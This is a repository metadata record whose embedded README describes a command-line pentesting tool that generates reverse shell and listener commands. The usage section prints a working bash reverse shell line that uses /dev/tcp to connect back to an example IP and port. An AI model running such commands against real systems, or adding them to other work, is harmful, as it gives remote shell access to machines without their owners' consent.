{"id":18245632,"url":"https://github.com/totekuh/reverse-shell-generator","last_synced_at":"2025-04-04T14:31:07.179Z","repository":{"id":89047416,"uuid":"439138878","full_name":"totekuh/reverse-shell-generator","owner":"totekuh","description":"A command-line reverse shell generator","archived":false,"fork":false,"pushed_at":"2023-05-13T23:47:25.000Z","size":70,"stargazers_count":2,"open_issues_count":0,"forks_count":1,"subscribers_count":1,"default_branch":"master","last_synced_at":"2025-03-20T14:21:40.677Z","etag":null,"topics":["cybersecurity","pentest","pentesting","pip","python3","redteam","reverse","shell"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/totekuh.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2021-12-16T22:03:50.000Z","updated_at":"2023-05-13T22:04:29.000Z","dependencies_parsed_at":"2023-07-13T23:45:42.710Z","dependency_job_id":null,"html_url":"https://github.com/totekuh/reverse-shell-generator","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/totekuh%2Freverse-shell-generator","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/totekuh%2Freverse-shell-generator/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/totekuh%2Freverse-shell-generator/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/totekuh%2Freverse-shell-generator/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/totekuh","download_url":"https://codeload.github.com/totekuh/reverse-shell-generator/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":247193945,"owners_count":20899400,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cybersecurity","pentest","pentesting","pip","python3","redteam","reverse","shell"],"created_at":"2024-11-05T09:21:58.318Z","updated_at":"2025-04-04T14:31:07.174Z","avatar_url":"https://github.com/totekuh.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# General Information\n\nhttps://pypi.org/project/revshell-generator/\n\nThe Reverse Shell Generator is a CLI tool that assists in quickly generating reverse shell commands and their corresponding listener commands.\n\n# Installation\n\nYou can either clone the repository or install the package from PyPI.\n\nClone the repository:\n\n```bash\napt install python3 python3-pip\ngit clone https://github.com/totekuh/reverse-shell-generator\ncd reverse-shell-generator\npip3 install .\npython3 revshellgenerator.py -h\n```\n\nPyPI:\n```bash\nsudo apt install python3 python3-pip\nsudo pip3 install revshell-generator\nrevshell-generator -h\n```\n\n# Usage\n\nYou can use the Reverse Shell Generator either interactively or by passing parameters directly on the command line.\n\n\n\n### Running the Reverse Shell Generator\n\n```bash\n$ revshell-generator\nWelcome to the reverse shell generator. Type 'help' or '?' to list available commands.\n```\n\n### Setting Reverse IP Address and Port\n\n```bash\nrevshell-generator --ip 192.168.1.10 --port 8080 --shell /bin/bash\n```\n\nYou can also specify the IP address by providing a network interface name:\n\n```bash\nrevshell-generator --ip eth0 --port 8080 --shell /bin/bash\n```\n\nIn interactive mode, you can set these parameters using the ip, port, and shell commands:\n\n```bash\n\u003e\u003e ip 192.168.1.10\n\u003e\u003e port 8080\n\u003e\u003e shell /bin/bash\n```\n\n### Listing Available Reverse Shell Commands\n\n```bash\n\u003e\u003e list reverse\n```\n\n*Note: the indexes are used while choosing the command template.*\n\n### Listing Available Listener Commands\n\n```bash\n\u003e\u003e list listeners\n```\n\n### Generating Reverse Shell Commands\n\n```bash\n$ python3 revshellgenerator.py\n\u003e\u003e get reverse 0\n```\n\nThe above command will generate the first available reverse shell command, replacing the placeholders with the provided IP, port, and shell. Here's an example of how it might look:\n\n```bash\nbash -i \u003e\u0026 /dev/tcp/192.168.1.10/8080 0\u003e\u00261\n```\n\n### Generating Listener Commands\n\n```bash\n\u003e\u003e get listeners 10\n```\n\nFor more detailed instructions and specific commands, use the 'help' command followed by the command name, such as `help list` or `help get`.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ftotekuh%2Freverse-shell-generator","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Ftotekuh%2Freverse-shell-generator","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ftotekuh%2Freverse-shell-generator/lists"}